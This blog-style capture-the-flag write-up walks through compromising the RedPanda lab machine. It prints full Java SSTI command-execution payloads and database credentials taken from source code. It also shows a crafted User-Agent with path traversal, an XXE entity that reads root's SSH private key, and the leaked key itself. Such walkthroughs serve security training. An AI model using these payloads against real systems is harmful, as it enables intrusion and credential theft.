RedPanda - [HTB]

Cover Image for RedPanda - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    RedPanda is an easy Linux machine from HackTheBox where the attacker will have to find a Java SSTI on a search engine. Then, it will have to analyse a Java program, which is being executed every two minutes by root. Finally, it has to exploit an XXE vulnerability to obtain the root's SSH private key.

    Enumeration

    As always, let's start finding all opened ports in the machine with Nmap.

    kali@kali:~/Documents/HTB/RedPanda$ sudo nmap -v -sS -p- -n -T4 -oN AllPorts.txt 10.10.11.170
    Nmap scan report for 10.10.11.170
    Host is up (0.11s latency).
    Not shown: 65533 closed tcp ports (reset)
    PORT     STATE SERVICE
    22/tcp   open  ssh
    8080/tcp open  http-proxy
    
    Read data files from: /usr/bin/../share/nmap
    # Nmap done at Sun Jul 31 11:58:30 2022 -- 1 IP address (1 host up) scanned in 112.88 seconds

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/RedPanda$ portsDepth 22,8080 10.10.11.170
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-31 12:00 EDT
    Nmap scan report for 10.10.11.170
    Host is up (0.11s latency).
    
    PORT     STATE SERVICE    VERSION
    22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
    |   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
    |_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
    8080/tcp open  http-proxy
    |_http-title: Red Panda Search | Made with Spring Boot 

    At port 8080, there is a little search engine for different types of pandas made with Spring Boot.

    Panda search

    Furthermore, through some file enumeration, appears a statistics page.

    kali@kali:~/Documents/HTB/RedPanda$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -of md -o ffuz.txt -t 60 -u http://10.10.11.170:8080/FUZZ
    [...]
    stats                   [Status: 200, Size: 987, Words: 200, Lines: 33]

    On this page, the statistics of the authors woodenk and damian can be obtained and exported in XML format.

    statistics

    Finally, the Greg panda appears if no input is inserted, telling that the search engine might be vulnerable to injection attacks.

    Greg Panda

    After fuzzing the search engine using the wordlist special-chars.txt from SecLists and URL encoding its characters, the following output is obtained.

    Special chars 1

    Because the characters ){}\% produced errors when sent to the server, and the characters ~$_ are banned for the engine, it might be vulnerable to SSTI.

    To verify that, the following payload was used §character§{7*7} (encode characters before executing intruder). As a result, it seems that the code inside *{<CODE>} is being executed.

    Ban characters bypass

    Exploitation

    Then, because Spring boost is made with Java, STTI Java payloads are needed. These payloads can be found on PayloadAllTheThings.

    ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
    Java STTI

    Because this payload requires encoding every single character to be executed, to facilitate the work, the tool SSTI-PAYLOAD is used.

    Note: I changed the script to always return *{ instead of ${.

    kali@kali:~/Documents/HTB/RedPanda/ssti-payload$ python ssti-payload.py 
    Command ==> whoami
    *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105))).getInputStream())}
    Whoami STTI

    Because no reverse shell can be obtained, manual enumeration of the machine must be performed using the web form.

    # cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
    *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97))).getInputStream())}

    Looking inside the Panda search source code, there are some database credentials.

        public ArrayList searchPanda(String query) {
    
            Connection conn = null;
            PreparedStatement stmt = null;
            ArrayList&lt;ArrayList&gt; pandas = new ArrayList();
            try {
                Class.forName(&quot;com.mysql.cj.jdbc.Driver&quot;);
                conn = DriverManager.getConnection(&quot;jdbc:mysql://localhost:3306/red_panda&quot;, &quot;woodenk&quot;, &quot;RedPandazRule&quot;);
                stmt = conn.prepareStatement(&quot;SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?&quot;);
                stmt.setString(1, &quot;%&quot; + query + &quot;%&quot;);
                ResultSet rs = stmt.executeQuery();
                while(rs.next()){
                    ArrayList&lt;String&gt; panda = new ArrayList&lt;String&gt;();
                    panda.add(rs.getString(&quot;name&quot;));
                    panda.add(rs.getString(&quot;bio&quot;));
                    panda.add(rs.getString(&quot;imgloc&quot;));
    		panda.add(rs.getString(&quot;author&quot;));
                    pandas.add(panda);
                }
            }catch(Exception e){ System.out.println(e);}
            return pandas;
        }
    }

    These credentials can be used for getting access to the machine through SSH, obtaining the user flag.

    kali@kali:~/Documents/HTB/RedPanda/$ ssh woodenk@10.10.11.170
    woodenk@10.10.11.170's password: RedPandazRule
    woodenk@redpanda:~$ cat user.txt 
    [CENSORED]

    Privilege Escalation

    Using pspy we can see that every two minutes the Java file final-1.0-jar-with-dependencies.jar is being executed as root.

    2022/07/31 17:22:01 CMD: UID=0    PID=1      | /sbin/init maybe-ubiquity 
    2022/07/31 17:22:01 CMD: UID=0    PID=3337   | /usr/sbin/CRON -f 
    2022/07/31 17:22:01 CMD: UID=0    PID=3338   | /bin/sh -c /root/run_credits.sh 
    2022/07/31 17:22:01 CMD: UID=0    PID=3339   | /bin/sh /root/run_credits.sh 
    2022/07/31 17:22:01 CMD: UID=0    PID=3340   | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar

    This Java application file has the source code located at /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java .

    Starting from the main function, we can see that it reads the log file /opt/panda_search/redpanda.log, parses some data and then reads an XML file.

    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while (log_reader.hasNextLine()) {
          String line = log_reader.nextLine();
          if (!isImage(line))
            continue; 
          Map parsed_data = parseLog(line);
          System.out.println(parsed_data.get("uri"));
          String artist = getArtist(parsed_data.get("uri").toString());
          System.out.println("Artist: " + artist);
          String xmlPath = "/credits/" + artist + "_creds.xml";
          addViewTo(xmlPath, parsed_data.get("uri").toString());
        } 
    }

    A look at the log parser; the program splits a log line into a string using || as a separator. So, because the attacker has control over the User-Agent HTTP parameter, the uri value can be overwritten.

    # cat redpanda.log 
    # 200||10.10.14.40||Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0||/search
    
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
    
        return map;
    }

    The uri value is used in the function getArtist, appending the value to an image path for reading the Artist metadata attribute.

    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }
    
        return "N/A";
    }

    Finally, the artist value is appended to another path, which is being used at the function addViewTo.

    This function reads the file, updates the counter of each image view and then overwrites the file with the new values.

    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());
    
        File fd = new File(path);
        
        Document doc = saxBuilder.build(fd);
        
        Element rootElement = doc.getRootElement();
    
        for(Element el: rootElement.getChildren())
        {
    
            
            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }

    Because there is no measure to avoid XXE and we have control over the parameters user_agent, uri ,artist and xmlPath; maybe we can create an XML file with XXE to read the root's private key.

    First, obtain an image and update its metadata.

    wget http://10.10.11.170:8080/img/greg.jpg
    exiftool -Artist="../tmp/marmeus"  greg.jpg

    Then, we need to edit a statistics XML file to add the XXE payload.

    wget 'http://10.10.11.170:8080/export.xml?author=woodenk' -O marmeus_creds.xml
    # EDIT THE FILE TO LOOK SOMETHING LIKE THIS
    cat marmeus_creds.xml
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///root/.ssh/id_rsa"> ]>
    <credits>
      <author>woodenk</author>
      <image>
        <uri>/img/greg.jpg</uri>
        <marmeu>&ent;</marmeus>
        <views>2</views>
    [...]

    Finally, update all the files and send a request with the malicious user agent.

    scp marmeus_creds.xml greg.jpg woodenk@10.10.11.170:/tmp/
    curl http://10.10.11.170:8080/ -A 'Firefox||/../../../../../../../tmp/greg.jpg'

    After two minutes, the script will be executed, and the XML will be modified, adding the root's private key.

    woodenk@redpanda:/tmp$ cat marmeus_creds.xml
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE replace>
    <credits>
      <author>woodenk</author>
      <image>
        <uri>/img/greg.jpg</uri>
        <hello>-----BEGIN OPENSSH PRIVATE KEY-----
    b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
    QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
    ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ                                   
    AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
    RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
    -----END OPENSSH PRIVATE KEY-----</hello>
    [...]

    Finally, it is possible to access the machine as root, obtaining the root flag.

    kali@kali:~/Documents/HTB/RedPanda$ ssh -i id_rsa root@10.10.11.170
    root@redpanda:~# cat root.txt 
    [CENSORED]